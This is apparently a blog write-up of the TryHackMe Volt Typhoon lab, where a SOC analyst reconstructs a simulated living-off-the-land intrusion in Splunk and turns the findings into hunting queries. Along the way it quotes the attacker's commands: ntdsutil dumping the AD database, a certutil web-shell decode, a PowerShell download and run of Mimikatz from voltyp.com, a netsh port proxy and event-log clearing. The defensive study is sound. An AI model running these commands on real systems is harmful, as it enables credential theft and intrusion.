Inside Volt Typhoon: Reconstructing an APT Attack Through Splunk

From Account Compromise to Command and Control — A SOC Investigation

A compromised identity. Legitimate administrative tools. A web shell hidden in plain sight.

Not every sophisticated cyberattack begins with custom malware.

Some attackers prefer to operate through tools already trusted by the target environment. They use legitimate Windows utilities, compromised accounts, administrative protocols, and built-in system capabilities to move through an organization while blending into normal activity.

This is the challenge behind Living off the Land (LOTL) techniques.

In this investigation, I took the role of a SOC analyst and reconstructed a simulated Volt Typhoon intrusion using Splunk. Starting with identity-related events, I followed the activity through system discovery, Active Directory database access, credential harvesting, persistence, lateral movement, data collection, and command-and-control preparation.

The objective was not simply to identify suspicious commands. It was to understand how individual events connect, what they reveal about attacker behavior, and how a SOC analyst can detect malicious activity when legitimate administrative tools are abused.

Investigation scope: This is a technical investigation of the TryHackMe Volt Typhoon lab. Hostnames, accounts, commands, timestamps, and artifacts described in the investigation refer to the simulated environment. They are not independent forensic evidence of a real-world Volt Typhoon incident.

1. Understanding the Threat: Volt Typhoon

Volt Typhoon is a China-sponsored threat actor tracked by multiple cybersecurity organizations. Public reporting associates the group with targeting critical infrastructure, maintaining persistent access, and using stealth-oriented techniques.

According to Microsoft and joint government advisories, the group’s documented tradecraft includes extensive use of legitimate system tools, valid credentials, hands-on-keyboard activity, and compromised infrastructure to obscure command-and-control communications.

One of the defining characteristics of this activity is the use of Living off the Land techniques.

Instead of introducing a large collection of custom binaries, an attacker may abuse utilities already available on Windows systems.

Some examples include:

• WMIC: Querying system information and interacting with remote machines.
• PowerShell: Executing commands, downloading files, and manipulating system resources.
• NTDSUtil: Performing operations involving the Active Directory database.
• Certutil: Encoding and decoding files.
• Netsh: Modifying network configuration and creating port-proxy rules.
• Wevtutil: Querying and managing Windows Event Logs.

These utilities are not malicious by themselves. They are legitimate administrative tools.

The challenge for defenders is distinguishing normal administrative activity from suspicious behavior.

A single netsh command may be completely legitimate. A netsh port-proxy configuration created during an intrusion involving compromised accounts, suspicious file transfers, and web shell deployment is a different story.

The context surrounding an action is often more important than the tool performing it.

2. Investigation Environment

The investigation was conducted in the TryHackMe Volt Typhoon room.

The scenario provided approximately two weeks of historical logs from a simulated enterprise environment. Splunk was used as the primary SIEM platform to investigate the suspected intrusion and reconstruct the attacker’s actions.

The available telemetry included three important sourcetypes:

• adss — ADSelfService Plus activity.
• powershell — PowerShell execution activity.
• wmic — Windows Management Instrumentation command activity.

Before investigating individual events, I first needed to understand the structure of the available data.

Identifying available indexes and sourcetypes

My first query was:

index=*
| stats count by index sourcetype
| sort - count

This provides an overview of the available indexes and sourcetypes, helping identify where relevant telemetry is stored.

One important detail: the Splunk time picker must cover the historical investigation period. I selected All Time to avoid excluding events outside the default time range.

Establishing an initial search

After identifying the available data, I used broad searches to locate suspicious activity before narrowing the investigation to specific commands, accounts, and artifacts.

index=*
| search Dean OR voltyp-admin OR server01 OR server02
| table _time host source sourcetype _raw
| sort _time

This is a starting point, not a final detection rule. The purpose is to identify relevant events and understand which fields are available in the dataset.

Depending on the sourcetype and field extraction, some field names may differ. When a field is unavailable, searching _raw is a useful fallback.

My investigation followed the attack lifecycle rather than treating each log entry as an isolated event.

3. Initial Access: The Identity Was the Entry Point

The first suspicious activity appeared in the ADSelfService Plus logs.

The lab scenario highlighted the abuse of enterprise password-management functionality. I began by investigating Dean’s account and looking for unusual password-reset and account-unlock activity.

Searching ADSelfService Plus logs

index=* sourcetype=adss
| search Dean
| table _time host source _raw
| sort _time

The search revealed a sequence of failed account-unlock attempts followed by a successful operation.

The relevant activity included:

• Multiple failed account-unlock attempts.
• A successful account unlock.
• A password change at 2024-03-24T11:10:22.
• Subsequent account-related activity.

The password-change event was particularly important because it marked the point at which the attacker could take control of Dean’s identity.

Investigating the new administrator account

Shortly after Dean’s account was compromised, another account appeared:

voltyp-admin

I searched the logs for the account name to identify its enrollment and configuration activity.

index=* sourcetype=adss
| search "voltyp-admin"
| table _time host source _raw
| sort _time

The activity showed the creation and configuration of an additional administrative identity through the self-service portal.

This was significant because the attacker was not simply using the compromised account. Establishing another identity could provide an additional way to maintain access.

SOC analysis

A password change is not automatically an indicator of compromise. Users legitimately reset passwords and unlock accounts every day.

However, the sequence of repeated failed recovery attempts, a successful unlock, a password change, and subsequent administrative account enrollment deserves investigation.

A stronger detection strategy would correlate:

• Repeated failed password-recovery attempts.
• Password changes immediately following suspicious recovery activity.
• Creation of new privileged accounts.
• Unexpected account enrollment or recovery configuration.
• Activity originating from unusual IP addresses or devices.

Key finding: Dean’s account was compromised, followed by the establishment of an additional account named voltyp-admin.

MITRE ATT&CK mapping:

• T1078 — Valid Accounts: Abuse of legitimate account credentials.
• T1098 — Account Manipulation: Establishing or modifying account access mechanisms.

4. Execution and Discovery: Using WMIC to Understand the Environment

After gaining access, the attacker began interacting with the environment using Windows Management Instrumentation Command-line (WMIC).

WMIC is a legitimate Windows administrative utility that can retrieve system information and interact with remote machines.

The investigation identified the following command:

wmic /node:server01, server02 logicaldisk get caption, filesystem, freespace, size, volumename

The command queries logical disks on server01 and server02, returning information about:

• Drive letters.
• Filesystem types.
• Available disk space.
• Total disk capacity.
• Volume labels.

This information helps an attacker understand the infrastructure and identify systems or storage locations that may be valuable.

Hunting for WMIC execution

index=* sourcetype=wmic
| search "logicaldisk" OR "server01" OR "server02"
| table _time host source _raw
| sort _time

If the command is stored in a different sourcetype, broaden the search:

index=*
| search "wmic" "logicaldisk"
| table _time host sourcetype source _raw
| sort _time

The second query is useful when the exact source of the command is not yet known.

Active Directory database access

The investigation then revealed a more sensitive operation.

The attacker used ntdsutil to create an Install From Media (IFM) copy of the Active Directory database.

The command included:

ntdsutil.exe "ac i ntds" "ifm create full C:\Windows\Temp\tmp\temp.dit"

The resulting database file was moved to a web server and compressed using 7-Zip.

The archive command was:

7z a -v100m -p d5ag0nm@5t3r -t7z cisco-up.7z C:\inetpub\wwwroot\temp.dit

The archive password was:

d5ag0nm@5t3r

The -p parameter specifies the archive password, while -v100m splits the archive into volumes of 100 MB.

Hunting for NTDS and archive activity

index=*
| search "ntdsutil" OR "temp.dit" OR "cisco-up.7z"
| table _time host sourcetype source _raw
| sort _time

To focus specifically on archive creation:

index=*
| search "7z" "cisco-up.7z"
| table _time host sourcetype _raw
| sort _time

Why this matters

The Active Directory database contains sensitive information about domain accounts. Accessing a copy can provide an attacker with material for offline credential analysis.

The suspicious sequence was more important than any individual command:

1. Create a temporary working directory.
2. Generate an Active Directory database copy.
3. Move the resulting file to a web server.
4. Compress the database.
5. Protect the archive with a password.

Each action may have a legitimate administrative explanation in isolation. Together, they form a suspicious sequence that deserves immediate investigation.

Key finding: The attacker accessed the Active Directory database, staged a copy on a web server, and compressed it into a password-protected archive.

MITRE ATT&CK mapping:

• T1047 — Windows Management Instrumentation: Use of WMI for system interaction.
• T1003.003 — OS Credential Dumping: NTDS: Access to the Active Directory database.
• T1560.001 — Archive Collected Data: Archive via Utility: Compression of collected data.
• T1074.001 — Data Staged: Local Data Staging: Preparation of collected data for further movement.

5. Persistence: A Web Shell Hidden in a Temporary Directory

The next stage revealed an attempt to establish persistent access through a web shell.

The attacker created a directory under:

C:\Windows\Temp\

A Base64-encoded payload was written to a file named:

ntuser.ini

The content was then decoded using certutil:

certutil -decode C:\Windows\Temp\ntuser.ini C:\Windows\Temp\iisstart.aspx

The resulting web shell was placed in:

C:\Windows\Temp\

Its filename was:

iisstart.aspx

Why use Base64?

Base64 is an encoding mechanism, not encryption.

It does not make a payload secure or inherently malicious. However, encoding can make content less immediately recognizable when someone casually inspects command history or logs.

The use of certutil -decode is therefore important in context. A legitimate utility was used to transform encoded content into an ASP.NET web resource.

Hunting for the decoding operation

index=*
| search "certutil" "ntuser.ini" OR "iisstart.aspx"
| table _time host sourcetype source _raw
| sort _time

A broader search can help when the output filename is not known:

index=*
| search "certutil" "decode"
| table _time host sourcetype source _raw
| sort _time

SOC analysis

A web shell can provide remote command execution through a web server.

Its presence can allow an attacker to interact with a compromised host through HTTP requests instead of repeatedly establishing traditional interactive sessions.

Detection opportunities include:

• Unexpected .aspx files in unusual directories.
• New files created under web-accessible paths.
• certutil -decode followed by web-resource creation.
• Suspicious file creation through PowerShell or command-line utilities.
• Web-server processes spawning command interpreters.

The important point is to correlate file creation with process execution and web-server activity rather than relying on the filename alone.

Key finding: A Base64-encoded payload was decoded into an ASP.NET web shell named iisstart.aspx.

MITRE ATT&CK mapping:

• T1505.003 — Server Software Component: Web Shell: Establishing access through a web shell.
• T1140 — Deobfuscate/Decode Files or Information: Decoding the Base64 payload.

6. Defense Evasion: Removing Evidence and Hiding Artifacts

The investigation revealed several attempts to reduce the visibility of the attack.

6.1 Removing RDP history

The attacker inspected the following registry location:

HKCU:\Software\Microsoft\Terminal Server Client\Default

This location stores information associated with Remote Desktop Connection history.

The attacker used:

Remove-ItemProperty -Path $registryPath -Name MRU0 -ErrorAction SilentlyContinue

The cmdlet:

Remove-ItemProperty

was used to remove the MRU0 value.

This value is associated with the most recently used RDP destination.

Removing it can reduce the locally available evidence of previous RDP connections.

Hunting for registry-history removal

index=* sourcetype=powershell
| search "Remove-ItemProperty" OR "MRU0"
| table _time host source _raw
| sort _time

If the command is recorded under another sourcetype:

index=*
| search "Remove-ItemProperty" "MRU0"
| table _time host sourcetype source _raw
| sort _time

6.2 Renaming the archive

The previously created archive:

cisco-up.7z

was renamed:

cl64.gif

The extension change is particularly interesting.

Although the file retained its archive content, its filename now resembled a GIF image rather than a compressed archive.

Changing an extension does not change the underlying file format. This is why file-type validation and content inspection are more reliable than trusting filenames.

Hunting for the renamed archive

index=*
| search "cisco-up.7z" OR "cl64.gif"
| table _time host sourcetype source _raw
| sort _time

6.3 Virtualization detection

The attacker also performed environment checks to identify whether the compromised machine was running inside a virtualized environment.

One registry location inspected was:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control

The attacker searched for properties associated with virtualization.

This type of activity can help an operator understand the environment in which their tools are running.

Hunting for the registry path

index=*
| search "CurrentControlSet\\Control"
| table _time host sourcetype source _raw
| sort _time

The exact results depend on how the command and registry path were recorded in the event data.

SOC analysis

Defense evasion is often a sequence of small actions rather than a single event.

In this case, the attacker:

• Removed RDP-related registry history.
• Renamed a staged archive.
• Inspected system characteristics.

A SOC analyst should pay attention to the combination of these actions, especially when they occur near sensitive operations such as database extraction and credential access.

Key finding: The attacker attempted to remove RDP history, disguise a compressed archive, and inspect the host for virtualization indicators.

MITRE ATT&CK mapping:

• T1112 — Modify Registry: Modification of registry values to remove RDP history.
• T1497.001 — Virtualization/Sandbox Evasion: System Checks: Checking for virtualization indicators.

7. Credential Access: Searching for Remote-Access Software and Using Mimikatz

Credential access was another major stage of the investigation.

The attacker used reg query to inspect registry locations associated with remote-access software.

The three products identified were:

• OpenSSH
• PuTTY
• RealVNC

The investigation showed that the attacker was not simply collecting a generic software inventory. The registry queries focused on specific products and their configuration locations.

This can help an attacker identify remote-access methods, saved sessions, and potentially useful connection information.

Hunting for registry queries

index=*
| search "reg query" "OpenSSH" OR "PuTTY" OR "RealVNC"
| table _time host sourcetype source _raw
| sort _time

To investigate each product separately:

index=*
| search "OpenSSH" OR "PuTTY" OR "RealVNC"
| table _time host sourcetype _raw
| sort _time

Mimikatz execution

The investigation also uncovered an encoded PowerShell command used to download and execute Mimikatz.

After decoding the command, the resulting PowerShell instructions were:

Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"; Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait

The command performs two main operations.

First: Download the executable.

Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"

This downloads Mimikatz from the specified HTTP address and saves it locally.

Second: Execute Mimikatz.

Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait

The argument:

sekurlsa::minidump lsass.dmp

instructs Mimikatz to analyze an existing LSASS dump file.

Get Baraa Mohamed’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

This is an important distinction: the command demonstrates analysis of a dump file, not necessarily the creation of that dump during the same execution.

Hunting for the Mimikatz command

index=*
| search "mimikatz.exe" OR "sekurlsa::minidump" OR "lsass.dmp"
| table _time host sourcetype source _raw
| sort _time

To identify PowerShell downloads:

index=*
| search "Invoke-WebRequest" "mimikatz"
| table _time host sourcetype source _raw
| sort _time

SOC analysis

Several detection opportunities emerge from this activity:

• PowerShell downloading executables from external HTTP resources.
• Encoded PowerShell execution.
• Mimikatz execution from unusual temporary directories.
• Access to LSASS-related dump files.
• Registry enumeration targeting remote-access applications.
• Unexpected processes interacting with credential-related files.

A detection strategy should correlate the download, file creation, process execution, and subsequent access to credential material.

Key finding: The attacker investigated OpenSSH, PuTTY, and RealVNC configurations and downloaded and executed Mimikatz to analyze an LSASS dump.

MITRE ATT&CK mapping:

• T1059.001 — Command and Scripting Interpreter: PowerShell: PowerShell-based download and execution.
• T1105 — Ingress Tool Transfer: Downloading an external executable.
• T1003.001 — OS Credential Dumping: LSASS Memory: Relevant to the LSASS credential material being analyzed.

8. Discovery and Lateral Movement

The attacker continued investigating the environment using Windows Event Log utilities.

The tool:

wevtutil

was used to query security events associated with authentication and Kerberos activity.

The event IDs identified during the investigation were:

4624 4625 4769

These events are useful to both attackers and defenders.

• 4624: A successful logon.
• 4625: A failed logon.
• 4769: A Kerberos service ticket was requested.

An attacker can use this information to understand authentication activity and identify interesting accounts or systems.

A defender can use the same events to investigate suspicious authentication patterns and potential lateral movement.

Hunting for the event IDs

index=*
| search "4624" OR "4625" OR "4769"
| table _time host sourcetype source _raw
| sort _time

To focus on the wevtutil activity:

index=*
| search "wevtutil" ("4624" OR "4625" OR "4769")
| table _time host sourcetype source _raw
| sort _time

Moving the web shell to another server

The investigation then revealed that the original web shell was copied to another system.

The command was:

Copy-Item -Path "C:\Windows\Temp\iisstart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx"

The destination filename was:

AuditReport.jspx

This operation copied the web shell to the web root of server-02, using a different extension.

Changing the filename and extension can make simple filename-based detection less effective.

However, the extension alone does not establish whether IIS will execute the file. That depends on the server’s handler mappings and configuration.

Hunting for remote file copies

index=*
| search "Copy-Item" "server-02" OR "AuditReport.jspx"
| table _time host sourcetype source _raw
| sort _time

Another useful search is:

index=*
| search "AuditReport.jspx"
| table _time host sourcetype source _raw
| sort _time

SOC analysis

This stage demonstrates why monitoring file operations across administrative shares is important.

A file copied to:

\\server-02\C$\inetpub\wwwroot\

deserves attention when the source is an existing web shell and the operation occurs during a suspicious administrative session.

Detection opportunities include:

• Remote file copies through administrative shares.
• New files appearing in web-server directories.
• Unexpected .aspx files or unusual web-resource extensions.
• PowerShell Copy-Item operations involving remote hosts.
• Correlation between authentication events and subsequent file creation.

Key finding: The attacker queried authentication-related Windows events and copied the existing web shell to server-02 under the name AuditReport.jspx.

MITRE ATT&CK mapping:

• T1021.002 — Remote Services: SMB/Windows Admin Shares: Use of an administrative share for remote file operations.
• T1505.003 — Server Software Component: Web Shell: Replication of the web shell to another server.

9. Collection: Identifying and Staging Financial Data

The next stage focused on locating valuable information.

The attacker enumerated directories under:

C:\ProgramData

The investigation identified a directory named:

C:\ProgramData\FinanceBackup\

It contained three financial files:

2022.csv
2023.csv
2024.csv

The attacker created a staging directory:

C:\Windows\Temp\faudit

Then copied the files into it using PowerShell.

The files were:

• 2022.csv
• 2023.csv
• 2024.csv

Hunting for the financial files

index=*
| search "2022.csv" OR "2023.csv" OR "2024.csv"
| table _time host sourcetype source _raw
| sort _time

To investigate the staging directory:

index=*
| search "FinanceBackup" OR "faudit"
| table _time host sourcetype source _raw
| sort _time

To focus on PowerShell copy operations:

index=* sourcetype=powershell
| search "Copy-Item" ("2022.csv" OR "2023.csv" OR "2024.csv")
| table _time host source _raw
| sort _time

Why this matters

The attacker did not need to immediately transfer the files outside the organization.

Staging data in a temporary directory can be an intermediate step before compression or exfiltration.

The directory name faudit also demonstrates how seemingly ordinary names can be used to disguise suspicious activity.

SOC analysis

The investigation highlights several useful detection opportunities:

• Recursive enumeration of sensitive directories.
• Access to financial backup locations.
• Bulk copying of business-sensitive files.
• Creation of unusual staging directories under Windows temporary paths.
• Multiple file-copy operations performed within a short time window.

The important point is to correlate the source directory, destination directory, user context, and timing.

Key finding: Three financial backup files were copied from C:\ProgramData\FinanceBackup\ to C:\Windows\Temp\faudit\.

MITRE ATT&CK mapping:

• T1005 — Data from Local System: Collection of files from the compromised host.
• T1074.001 — Data Staged: Local Data Staging: Staging collected information in a local directory.

10. Command and Control: Configuring a Network Port Proxy

The final stage revealed the use of netsh to configure a network port proxy.

The command observed in the investigation was:

netsh interface portproxy add v4tov4 listenport=50100 listenaddress=0.0.0.0 connectport=8443 connectaddress=10.2.30.1

This command configures an IPv4-to-IPv4 port proxy.

Understanding the parameters is important.

listenaddress=0.0.0.0 means the proxy listens on all local IPv4 interfaces.

listenport=50100 defines the local listening port.

connectaddress=10.2.30.1 specifies the destination address.

connectport=8443 specifies the destination port.

The destination address and port were:

10.2.30.1 8443

The distinction between the listening endpoint and the forwarding destination matters when reconstructing network activity.

Hunting for port-proxy configuration

index=*
| search "netsh" "portproxy"
| table _time host sourcetype source _raw
| sort _time

To search for the destination:

index=*
| search "10.2.30.1" "8443"
| table _time host sourcetype source _raw
| sort _time

Why this matters

The use of netsh interface portproxy can create a forwarding path through a compromised host.

An unexpected port-proxy configuration is a strong investigation lead, especially when it appears after account compromise, credential access, and other suspicious administrative activity.

However, the command alone does not prove that a complete C2 session was established or that data was successfully exfiltrated.

A complete investigation would also examine network connections, listening sockets, process activity, and the destination’s role in the environment.

Cleanup activity

The attacker also cleared four Windows event log channels:

Application
Security
Setup
System

The command was:

wevtutil cl Application Security Setup System

The Event Log service was subsequently stopped and restarted.

Hunting for log clearing

index=*
| search "wevtutil" "cl" OR "Clear-EventLog"
| table _time host sourcetype source _raw
| sort _time

To search specifically for the four cleared channels:

index=*
| search "Application" "Security" "Setup" "System"
| search "wevtutil" "cl"
| table _time host sourcetype source _raw
| sort _time

Key finding: A port proxy was configured to forward traffic to 10.2.30.1:8443, and the attacker cleared the Application, Security, Setup, and System event logs.

MITRE ATT&CK mapping:

• T1090.001 — Proxy: Internal Proxy: Relevant to the use of an internal port-proxy mechanism.
• T1112 — Modify Registry: Relevant to the registry modification underlying Windows PortProxy configuration.
• T1070.001 — Indicator Removal: Clear Windows Event Logs: Clearing Windows event logs.

11. Reconstructing the Attack Chain

After examining the different log sources, the investigation revealed a connected sequence of activities.

The attack can be summarized as follows.

Initial Access

The attacker compromised Dean’s account through suspicious ADSelfService Plus activity and established an additional account named voltyp-admin.

Execution and Discovery

WMIC was used to enumerate logical drives on server01 and server02.

Active Directory Database Access

The attacker used ntdsutil to create a copy of the Active Directory database, moved it to a web server, and compressed it with 7-Zip.

Persistence

A Base64-encoded payload was decoded into an ASP.NET web shell named iisstart.aspx.

Defense Evasion

The attacker removed RDP history, renamed the archive to cl64.gif, and checked the environment for virtualization indicators.

Credential Access

The attacker investigated OpenSSH, PuTTY, and RealVNC configuration locations, then downloaded and executed Mimikatz to analyze an LSASS dump.

Discovery and Lateral Movement

Windows authentication-related event IDs were queried, and the web shell was copied to server-02 as AuditReport.jspx.

Collection

Three financial CSV files were copied from FinanceBackup into a temporary staging directory.

Command and Control

A port-proxy rule was configured to forward traffic to 10.2.30.1:8443.

Cleanup

The attacker cleared the Application, Security, Setup, and System event logs.

This sequence illustrates why attack reconstruction requires more than identifying individual indicators. The relationships between identity events, process execution, file operations, and network configuration provide a much stronger understanding of attacker behavior.

12. Detection Engineering: Turning Findings into Hunts

One of the most useful outcomes of this investigation is the opportunity to convert the observed behavior into repeatable hunting queries.

The following searches are starting points for a SOC investigation. They are not production-ready detection rules. Their effectiveness depends on the available telemetry, field extraction, logging configuration, and normal administrative behavior in the environment.

Hunt 1: Suspicious account activity

index=* sourcetype=adss
| search Dean OR voltyp-admin
| stats count values(_raw) as events by _time host
| sort _time

Objective: Identify account-recovery activity, password changes, and suspicious enrollment events.

Hunt 2: LOLBin activity

index=*
| search "wmic" OR "ntdsutil" OR "certutil" OR "netsh" OR "wevtutil"
| stats count values(sourcetype) as sourcetypes by host
| sort - count

Objective: Identify hosts generating activity involving administrative utilities.

This query is useful for initial triage, but the presence of these tools alone is not sufficient to establish malicious behavior.

Hunt 3: Suspicious PowerShell activity

index=*
| search "Invoke-WebRequest" OR "FromBase64String" OR "certutil -decode" OR "Copy-Item"
| table _time host sourcetype source _raw
| sort _time

Objective: Investigate download operations, decoding activity, and suspicious file manipulation.

Hunt 4: Active Directory database access

index=*
| search "ntdsutil" OR "ntds.dit" OR "temp.dit"
| table _time host sourcetype source _raw
| sort _time

Objective: Identify unexpected database-copy operations and related file staging.

Hunt 5: Web shell deployment

index=*
| search "iisstart.aspx" OR "AuditReport.jspx"
| table _time host sourcetype source _raw
| sort _time

Objective: Trace the creation and movement of suspicious web resources across systems.

Hunt 6: Data staging

index=*
| search "FinanceBackup" OR "faudit" OR "2022.csv" OR "2023.csv" OR "2024.csv"
| table _time host sourcetype source _raw
| sort _time

Objective: Identify sensitive source directories and suspicious staging activity.

Hunt 7: Port-proxy configuration

index=*
| search "portproxy" OR "10.2.30.1"
| table _time host sourcetype source _raw
| sort _time

Objective: Identify unexpected port-forwarding configuration and investigate the associated destination.

Hunt 8: Windows event-log clearing

index=*
| search "wevtutil" "cl"
| table _time host sourcetype source _raw
| sort _time

Objective: Detect attempts to clear Windows Event Logs.

An important limitation

A query can only detect activity that has actually been logged and forwarded to Splunk.

For example, detecting file creation reliably may require Sysmon or another endpoint telemetry source. Detecting network connections requires network or endpoint connection telemetry. Detecting PowerShell commands may require appropriate PowerShell logging.

A SIEM cannot recover events that were never collected.

This is why log-source coverage and retention are as important as the quality of the detection query itself.

13. Lessons Learned

This investigation reinforced several practical lessons about modern intrusion detection.

1. Legitimate tools can produce malicious outcomes

WMIC, PowerShell, Netsh, Certutil, and Wevtutil are legitimate utilities.

Their presence alone does not indicate compromise. Detection must focus on how they are used, who executed them, and whether the activity matches expected administrative behavior.

2. Identity compromise can become the foundation for the entire attack

The compromise of Dean’s account was not an isolated event.

It provided the attacker with a legitimate identity that could blend into normal administrative activity. The creation of another account further complicated the identity picture.

3. Attack reconstruction requires correlation

The most useful findings came from connecting identity events, command execution, file operations, and system activity rather than examining each event independently.

4. File extensions are not reliable indicators of file content

Renaming an archive to .gif does not change its underlying format.

File-type validation and behavioral monitoring are more reliable than trusting filenames.

5. Logging is part of the security boundary

If an attacker can clear logs without leaving a centralized record, incident reconstruction becomes significantly harder.

Centralized logging, restricted access to logging infrastructure, and appropriate retention policies are essential.

6. Detection engineering should prioritize behavior over static indicators

A detection rule that looks only for mimikatz.exe may miss encoded execution, renamed files, or built-in administrative utilities.

Behavioral analytics and event correlation provide better coverage.

14. Conclusion

The Volt Typhoon lab investigation demonstrates how a sequence of seemingly ordinary administrative operations can form a sophisticated intrusion chain.

Starting with a compromised account, the attacker established an additional administrative identity, explored the environment, accessed Active Directory data, deployed a web shell, investigated remote-access software, used Mimikatz, moved the web shell to another server, staged financial data, configured a port proxy, and finally attempted to remove evidence.

The most challenging part was not identifying a single malicious executable.

It was recognizing the relationship between legitimate tools, suspicious command-line arguments, account behavior, file operations, and the timing of events.

For a SOC analyst, this is the real value of log investigation: transforming isolated telemetry into a defensible incident narrative.

The tool may be legitimate. The behavior may not be.

References and Further Reading

1. TryHackMe — Volt Typhoon

The practical lab used for this investigation.
https://tryhackme.com/room/volttyphoon

2. Microsoft Security — Volt Typhoon Targets US Critical Infrastructure with Living-off-the-Land Techniques

Background on the group’s documented tradecraft and use of legitimate administrative tools.
https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/

3. CISA, NSA, FBI — PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure (AA24–038A)

Joint cybersecurity advisory discussing Volt Typhoon activity, detection, and mitigation.
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-038a

4. CISA — Identifying and Mitigating Living Off the Land Techniques

Defensive guidance for identifying and mitigating LOTL activity.
https://www.cisa.gov/resources-tools/resources/identifying-and-mitigating-living-land-lotl-techniques

5. MITRE ATT&CK — Volt Typhoon (G1017)

Threat-group profile and associated adversary techniques.
https://attack.mitre.org/groups/G1017/

6. MITRE ATT&CK

The knowledge base used to map adversary behavior to tactics and techniques.
https://attack.mitre.org/

Disclaimer: This article documents a cybersecurity training exercise conducted in a controlled TryHackMe environment. Commands and techniques are discussed for defensive analysis, threat hunting, and security education. Lab-specific findings should not be treated as independent confirmation of real-world attribution.